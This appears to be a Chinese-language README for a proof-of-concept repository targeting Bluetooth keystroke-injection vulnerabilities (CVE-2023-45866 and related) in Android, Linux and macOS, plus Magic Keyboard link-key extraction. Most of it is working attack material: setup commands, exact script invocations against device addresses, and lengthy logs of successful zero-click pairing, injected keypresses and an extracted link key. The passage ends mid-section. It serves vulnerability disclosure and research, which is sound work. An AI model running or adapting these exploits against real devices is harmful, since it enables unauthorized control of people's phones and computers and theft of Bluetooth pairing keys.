你好，我的名字是键盘

该仓库包含针对 CVE-2023-45866、CVE-2024-21306 和 CVE-2024-0230 的概念验证脚本。更多细节可在博客文章中查看。

概念验证	描述
Android 按键注入	强制将虚拟蓝牙键盘与存在漏洞的 Android 设备配对，并注入 10 秒钟的 `tab` 按键。
Linux 按键注入	强制将虚拟蓝牙键盘与 Linux 主机配对，并注入 10 秒钟的 `tab` 按键。
macOS 按键注入	强制将虚拟蓝牙键盘与 macOS 主机配对，并注入按键以打开网页浏览器并执行 Google 搜索。
iOS 按键注入	强制将虚拟蓝牙键盘与 iOS 主机配对，并注入按键以打开网页浏览器并导航到 URL。
Windows 按键注入	强制将虚拟蓝牙键盘与 Windows 主机配对，并注入 `tab` 按键。
通过 Lightning 端口读取 Magic Keyboard 链接密钥	从 Magic Keyboard 的 Lightning 端口读取蓝牙链接密钥。
通过蓝牙读取 Magic Keyboard 链接密钥	从 Magic Keyboard 上未经认证的蓝牙 HID 服务读取蓝牙链接密钥。
通过 Mac 上的 USB 端口读取 Magic Keyboard 链接密钥	通过 USB 向与其配对的 Mac 伪装成该键盘，从而读取目标 Magic Keyboard 的蓝牙链接密钥。

依赖项

这些脚本已知可在配备基于 Broadcom 的蓝牙适配器的 Ubuntu 22.04 主机上运行。

我主要使用了这个适配器：https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0

从全新安装的 Ubuntu 22.04 开始，可以使用以下命令安装依赖项。```
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

按键注入

Android 按键注入

安全补丁级别早于 2023-12-05 的 Android 设备存在漏洞。

当未打补丁的 Android 设备启用蓝牙时，攻击者可以配对模拟蓝牙键盘并注入按键，而无需用户确认。这是一个零点击攻击，只要蓝牙处于启用状态即可生效。

受影响版本

此漏洞影响 Android ~4.2.2 及更高版本。

Android 4.2.2 - 10 不会获得补丁
Android 11 - 14 有可用补丁（2023-12-05 安全补丁级别）
Pixel 6、7 和 8 已打补丁
Pixel 5 及更早版本仍然存在漏洞

起始状态

目标 Android 设备已启用蓝牙

运行 PoC

使用接口 hci1 运行针对 Android 设备 5C:F3:70:AA:07:BD 的 PoC。``` ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD

如果成功，该 PoC 将注入持续 10 秒的 `tab` 按键载荷。

#### 示例输出```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329]  executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959]  configuring Bluetooth adapter
[2024-01-07 11:03:01.963]  calling RegisterProfile
[2024-01-07 11:03:01.966]  running dbus loop
[2024-01-07 11:03:02.096]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108]  executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141]  executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144]  executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877]  connecting to SDP
[2024-01-07 11:03:02.877]  connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832]  SUCCESS! connected on port 1
[2024-01-07 11:03:03.832]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864]  connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932]  SUCCESS! connected on port 17
[2024-01-07 11:03:04.932]  connecting to HID Interrupt
[2024-01-07 11:03:04.932]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008]  SUCCESS! connected on port 19
[2024-01-07 11:03:05.008]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009]  [RX-17] 9000
[2024-01-07 11:03:05.009]  [TX-17] 00
[2024-01-07 11:03:05.065]  [RX-19] a20101
[2024-01-07 11:03:05.259]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261]  [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321]  taking 'hci1' offline

Linux 键盘注入

运行 BlueZ 5 的 Linux 主机在约 2023 年 12 月补丁推出之前存在漏洞。具体版本号取决于 Linux 发行版。

当未打补丁的 Linux 主机通过蓝牙可被发现且可连接时，攻击者可以配对模拟蓝牙键盘并注入按键，而无需用户确认。这是一种零点击攻击，只要主机可被发现且可连接即可发动。

受影响版本

已知此漏洞会影响使用 BlueZ 5 默认配置且未打补丁的 Linux 发行版。

Google 表示 ChromeOS 不受此漏洞影响，虽然 ChromeOS 未作为本研究的一部分进行测试，但其 BlueZ 配置似乎确实能够阻止该攻击。

受影响的发行版包括 Ubuntu、Debian、Gentoo、Arch、Fedora、Red Hat、Yocto 和 Amazon Linux。多个版本可能受影响，例如 Ubuntu 已修补了 16.04、18.04、20.04、22.04、23.04 和 23.10。

初始状态

目标 Linux 主机通过蓝牙可被发现且可连接。
当蓝牙设置面板打开时，Linux 主机通常可被发现且可连接。

运行 PoC

使用接口 hci1 针对 Linux 主机 58:28:39:E6:AE:1C 运行 PoC。``` ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C

如果成功，该 PoC 将注入一个由 `tab` 按键组成的 payload，持续 10 秒。

#### 示例输出```
> ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
[2024-01-07 11:00:08.955]  executing 'sudo service bluetooth restart'
[2024-01-07 11:00:09.586]  configuring Bluetooth adapter
[2024-01-07 11:00:09.590]  calling RegisterProfile
[2024-01-07 11:00:09.595]  running dbus loop
[2024-01-07 11:00:09.725]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:00:09.738]  executing 'hciconfig hci1 name'
[2024-01-07 11:00:09.759]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:00:09.771]  executing 'hciconfig hci1 class'
[2024-01-07 11:00:09.774]  executing 'hcitool name 58:28:39:E6:AE:1C'
[2024-01-07 11:00:10.399]  connecting to SDP
[2024-01-07 11:00:10.400]  connecting to 58:28:39:E6:AE:1C on port 1
[2024-01-07 11:00:12.984]  SUCCESS! connected on port 1
[2024-01-07 11:00:12.984]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:00:12.992]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:00:13.001]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:00:13.011]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:00:13.253]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.020]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.020]  connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:15.296]  SUCCESS! connected on port 17
[2024-01-07 11:00:15.296]  connecting to HID Interrupt
[2024-01-07 11:00:15.296]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.296]  [RX-17] 15
[2024-01-07 11:00:15.500]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.500]  connecting to HID Interrupt
[2024-01-07 11:00:15.501]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.636]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.636]  connecting to HID Interrupt
[2024-01-07 11:00:15.638]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.764]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.764]  connecting to HID Interrupt
[2024-01-07 11:00:15.766]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.784]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.784]  connecting to HID Interrupt
[2024-01-07 11:00:15.785]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.832]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.832]  connecting to HID Interrupt
[2024-01-07 11:00:15.833]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.880]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.880]  connecting to HID Interrupt
[2024-01-07 11:00:15.881]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.160]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.160]  connecting to HID Interrupt
[2024-01-07 11:00:16.161]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.300]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.300]  connecting to HID Interrupt
[2024-01-07 11:00:16.301]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.580]  SUCCESS! connected on port 19
[2024-01-07 11:00:16.580]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:00:16.580]  connecting to HID Control
[2024-01-07 11:00:16.580]  connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:16.859]  SUCCESS! connected on port 17
[2024-01-07 11:00:16.860]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:00:16.860]  [RX-17] 4190
[2024-01-07 11:00:16.860]  [TX-17] 00
[2024-01-07 11:00:17.110]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.110]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:00:17.111]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.115]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.170]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.174]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.229]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.233]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.288]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.292]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.347]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.352]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.406]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.410]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.465]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.469]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.524]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.528]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.583]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.587]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.642]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.646]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.701]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.705]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.759]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.764]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.818]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.823]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.877]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.882]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.936]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.941]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.995]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.000]  [TX-19] a101000000000000000000
[2024-01-07 11:00:18.054]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.059]  [TX-19] a101000000000000000000
[2024-01-07 11:00:18.113]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.118]  [TX-19] a101000000000000000000
[2024-01-07 11:00:18.172]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:00:27.102]  [TX-19] a101000000000000000000
[2024-01-07 11:00:27.157]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:00:27.157]  taking 'hci1' offline

macOS 键盘注入攻击

当 Mac 尝试通过蓝牙连接到已配对的 Magic Keyboard 时，攻击者可以伪装成 Magic Keyboard 向 Mac 发起连接，配对一部虚拟蓝牙键盘，并在无需用户确认的情况下注入按键。

此攻击具有时序依赖性，攻击者必须在 Mac 尝试连接 Magic Keyboard 的确切时刻连接到该 Mac。

随附的 PoC 会在 Magic Keyboard 从其 Mac 上拔下（例如在充电或配对之后）时触发。该 PoC 利用 Mac 上的蓝牙 SDP 服务作为侧信道来观察拔下事件并触发攻击。这是一项零点击攻击，需要观察到 Magic Keyboard 从 Mac 上被拔下。

受影响版本

macOS 14 在 14.2 之前存在漏洞
macOS 13 和 12 存在漏洞，且预计不会发布补丁
macOS 11 及更早版本未经过测试

初始状态

Mac 上已启用蓝牙。
Magic Keyboard 已开机，并通过 Lightning 转 USB 线缆连接到 Mac。
该 PoC 注入按键以打开网页浏览器并执行 Google 搜索。也可以向登录屏幕注入按键，但此 PoC 假定 Mac 处于活跃会话状态。

运行 PoC```

./keystroke-injection-macos.py --help usage: keystroke-injection-macos.py [-h] -i INTERFACE -t TARGET_ADDRESS -k KEYBOARD_ADDRESS

options: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE -t TARGET_ADDRESS, --target_address TARGET_ADDRESS -k KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS

##### 调用```
./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02

输出```

[2024-01-07 12:25:43.777] executing 'sudo service bluetooth restart' [2024-01-07 12:25:44.324] configuring Bluetooth adapter [2024-01-07 12:25:44.461] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard' [2024-01-07 12:25:44.474] executing 'hciconfig hci1 name' [2024-01-07 12:25:44.493] executing 'sudo hciconfig hci1 class 0x002540' [2024-01-07 12:25:44.506] executing 'hciconfig hci1 class' [2024-01-07 12:25:44.509] executing 'sudo bdaddr -i hci1 1C:57:DC:88:55:02' [2024-01-07 12:25:44.649] executing 'hciconfig hci1' [2024-01-07 12:25:44.652] connecting to SDP [2024-01-07 12:25:44.652] connecting to 50:DE:06:A8:E1:CA on port 1 [2024-01-07 12:25:45.776] SUCCESS! connected on port 1 [2024-01-07 12:25:45.776] executing 'sudo btmgmt --index hci1 io-cap 1' [2024-01-07 12:25:45.788] executing 'sudo btmgmt --index hci1 ssp 1' [2024-01-07 12:25:45.795] connected to SDP (L2CAP 1) on target [2024-01-07 12:25:45.795]

| Unplug the Magic Keyboard from the Mac to trigger the attack |

[2024-01-07 12:25:46.014] b'HCI sniffer - Bluetooth packet analyzer ver 5.64\n' [2024-01-07 12:25:46.015] b'device: hci1 snap_len: 1500 filter: 0xffffffffffffffff\n' [2024-01-07 12:25:46.017] b'> HCI Event: Number of Completed Packets (0x13) plen 5\n' [2024-01-07 12:25:46.018] b' handle 11 packets 1\n' [2024-01-07 12:25:47.296] b'> ACL data: handle 11 flags 0x02 dlen 12\n' [2024-01-07 12:25:47.297] b' L2CAP(s): Connect req: psm 1 scid 0x0506\n' [2024-01-07 12:25:47.337] connecting to HID Control [2024-01-07 12:25:47.337] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.788] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 12:25:47.788] connecting to HID Control [2024-01-07 12:25:47.799] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.908] SUCCESS! connected on port 17 [2024-01-07 12:25:47.908] connected to HID Control (L2CAP 17) on target [2024-01-07 12:25:47.908] connecting to HID Interrupt [2024-01-07 12:25:47.908] connecting to 50:DE:06:A8:E1:CA on port 19 [2024-01-07 12:25:47.976] SUCCESS! connected on port 19 [2024-01-07 12:25:47.976] connected to HID Interrupt (L2CAP 19) on target [2024-01-07 12:25:47.976] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.012] [RX-17] 71 [2024-01-07 12:25:48.013] [TX-17] 00 [2024-01-07 12:25:48.048] [RX-17] 53c601180121 [2024-01-07 12:25:48.048] [TX-17] 00 [2024-01-07 12:25:48.084] [RX-17] 53ffbb [2024-01-07 12:25:48.084] [TX-17] 00 [2024-01-07 12:25:48.116] [RX-17] 43f0 [2024-01-07 12:25:48.116] [TX-17] 00 [2024-01-07 12:25:48.159] [RX-17] 53ff90 [2024-01-07 12:25:48.160] [TX-17] 00 [2024-01-07 12:25:48.192] [RX-17] 41f0 [2024-01-07 12:25:48.192] [TX-17] 00 [2024-01-07 12:25:48.228] [RX-17] 53ff34 [2024-01-07 12:25:48.228] [TX-17] 00 [2024-01-07 12:25:48.265] [RX-17] 43f0 [2024-01-07 12:25:48.265] [TX-17] 00 [2024-01-07 12:25:48.296] [RX-17] 53ff90 [2024-01-07 12:25:48.296] [TX-17] 00 [2024-01-07 12:25:48.308] [RX-17] 41f0 [2024-01-07 12:25:48.309] [TX-17] 00 [2024-01-07 12:25:48.344] [RX-17] 53ffe0 [2024-01-07 12:25:48.344] [TX-17] 00 [2024-01-07 12:25:48.376] [RX-17] 43f0 [2024-01-07 12:25:48.376] [TX-17] 00 [2024-01-07 12:25:48.413] [RX-17] 53ff14 [2024-01-07 12:25:48.413] [TX-17] 00 [2024-01-07 12:25:48.456] [RX-17] 43f0 [2024-01-07 12:25:48.456] [TX-17] 00 [2024-01-07 12:25:48.492] [RX-17] 53ffc5 [2024-01-07 12:25:48.493] [TX-17] 00 [2024-01-07 12:25:48.528] [RX-17] 43f0 [2024-01-07 12:25:48.528] [TX-17] 00 [2024-01-07 12:25:48.572] [RX-17] 53ff02 [2024-01-07 12:25:48.573] [TX-17] 00 [2024-01-07 12:25:48.607] [RX-17] 43f1 [2024-01-07 12:25:48.608] [TX-17] 00 [2024-01-07 12:25:48.644] [RX-19] a2f10100 [2024-01-07 12:25:48.645] injecting payload [2024-01-07 12:25:48.645] [TX-19] a1010800e32c0000000000 [2024-01-07 12:25:48.646] [RX-19] a2f10100 [2024-01-07 12:25:48.647] [RX-19] a2f10100 [2024-01-07 12:25:48.649] [RX-19] a2f10100 [2024-01-07 12:25:48.650] [RX-19] a2f10100 [2024-01-07 12:25:48.653] [RX-17] 53ff03 [2024-01-07 12:25:48.653] [TX-17] 00 [2024-01-07 12:25:48.680] [RX-17] 43f1 [2024-01-07 12:25:48.680] [TX-17] 00 [2024-01-07 12:25:48.896] [TX-19] a101000017000000000000 [2024-01-07 12:25:48.900] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.905] [TX-19] a101000008000000000000 [2024-01-07 12:25:48.909] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.914] [TX-19] a101000015000000000000 [2024-01-07 12:25:48.918] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.922] [TX-19] a101000010000000000000 [2024-01-07 12:25:48.927] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.931] [TX-19] a10100000c000000000000 [2024-01-07 12:25:48.936] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.940] [TX-19] a101000011000000000000 [2024-01-07 12:25:48.944] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.949] [TX-19] a101000004000000000000 [2024-01-07 12:25:48.953] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.958] [TX-19] a10100000f000000000000 [2024-01-07 12:25:48.962] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.966] [TX-19] a101000028000000000000 [2024-01-07 12:25:48.971] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.225] [TX-19] a101010006e00000000000 [2024-01-07 12:25:49.230] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.234] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.239] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.244] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.248] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.252] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.256] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.261] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.265] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.269] [TX-19] a10100002c000000000000 [2024-01-07 12:25:49.274] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.278] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.283] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.287] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.291] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.296] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.300] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.304] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.309] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.313] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.318] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.322] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.327] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.331] [TX-19] a101020033e10000000000 [2024-01-07 12:25:49.335] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.340] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.344] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.349] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.353] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.358] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.362] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.367] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.371] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.376] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.380] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.385] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.389] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.393] [TX-19] a10100000f000000000000 [2024-01-07 12:25:49.398] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.402] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.407] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.411] [TX-19] a101000037000000000000 [2024-01-07 12:25:49.416] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.420] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.424] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.429] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.433] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.438] [TX-19] a101000010000000000000 [2024-01-07 12:25:49.442] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.447] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.451] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.455] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.460] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.464] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.468] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.473] [TX-19] a101000004000000000000 [2024-01-07 12:25:49.477] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.482] [TX-19] a101000015000000000000 [2024-01-07 12:25:49.486] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.491] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.495] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.499] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.504] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.508] [TX-19] a101020038e10000000000 [2024-01-07 12:25:49.513] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.517] [TX-19] a101000014000000000000 [2024-01-07 12:25:49.522] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.526] [TX-19] a10100002e000000000000 [2024-01-07 12:25:49.531] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.535] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.540] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.544] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.549] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.553] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.558] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.562] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.567] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.571] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.576] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.580] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.585] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.589] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.593] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.598] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.602] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.607] [TX-19] a101000009000000000000 [2024-01-07 12:25:49.611] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.616] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.620] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.625] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.629] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.633] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.638] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.642] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.646] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.651] [TX-19] a101000028000000000000 [2024-01-07 12:25:49.655] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.760] payload has been transmitted; disconnecting Bluetooth HID client [2024-01-07 12:25:49.761] taking 'hci1' offline

## 链路密钥提取

### 通过闪电端口的妙控键盘链路密钥

当妙控键盘插入 Mac 时，Mac 会通过 USB 将蓝牙链路密钥发送到妙控键盘。

该链路密钥会一直保留在内存中，直到妙控键盘关闭电源，且拥有键盘闪电端口访问权限的攻击者可以读取该密钥。

#### 受影响版本

Apple 从 2024-01-09 开始推送 [妙控键盘补丁](https://support.apple.com/en-us/HT214050)。

以下 Apple 外设经过测试并被发现容易受到此攻击。未测试其他外设，因此此列表可能不完整。

| 产品名称 | 型号 |
|-|-|
| 妙控键盘 | A2450 |
| 带触控 ID 的妙控键盘 | A2449 |
| 带数字小键盘的妙控键盘 | A1843 |
| 带触控 ID 和数字小键盘的妙控键盘 | A2520 |
| 妙控鼠标 | A1657 |

#### 起始状态

- 妙控键盘自上次插入 Mac 以来一直保持开机状态

#### 运行 PoC

使用闪电转 USB 线缆将妙控键盘插入 Linux 计算机，然后在无参数的情况下运行脚本。```
./read-link-key-lightning.py

输出```

Model - Magic Keyboard Serial Number - F1T2107RUNW12NXA9 BT Address - 1c:57:fc:08:65:12 Mac BT Address - a4:c3:99:e8:a8:6c BT Link Key - c95e3ec98809f2745d32029e7f97b67e

### 通过 Mac 上的 USB 端口获取 Magic Keyboard 链接密钥

当 Magic Keyboard 插入 Mac 时，Mac 会通过 USB 将蓝牙链接密钥发送到 Magic Keyboard。

下次将 Magic Keyboard 插入 Mac 时，Mac 会根据其蓝牙地址和序列号进行识别，并将原始链接密钥发送到 Magic Keyboard。

如果攻击者知道目标 Magic Keyboard 的蓝牙地址和序列号，他们就可以通过 USB 向 Mac 伪装成该 Magic Keyboard，并从 Mac 的 USB 端口读取目标链接密钥。

该 PoC 通过将目标蓝牙地址和序列号写入捐赠键盘（donor keyboard），然后将捐赠键盘插入 Mac，再从捐赠键盘上读取链接密钥来实现此攻击。

该攻击可以通过在 Mac 上启用锁定模式（Lockdown Mode）来缓解。

#### 受影响的版本

Apple 于 2024-01-09 开始推出 [Magic Keyboard 修补程序](https://support.apple.com/en-us/HT214050)。

经过测试，macOS 12、13 和 14 版本均存在此漏洞。未测试更早版本的 macOS。

以下 Apple 外设经过测试，发现易受此攻击影响。未测试其他外设，因此此列表可能不完整。

| 产品名称 | 型号 |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad | A1843 |
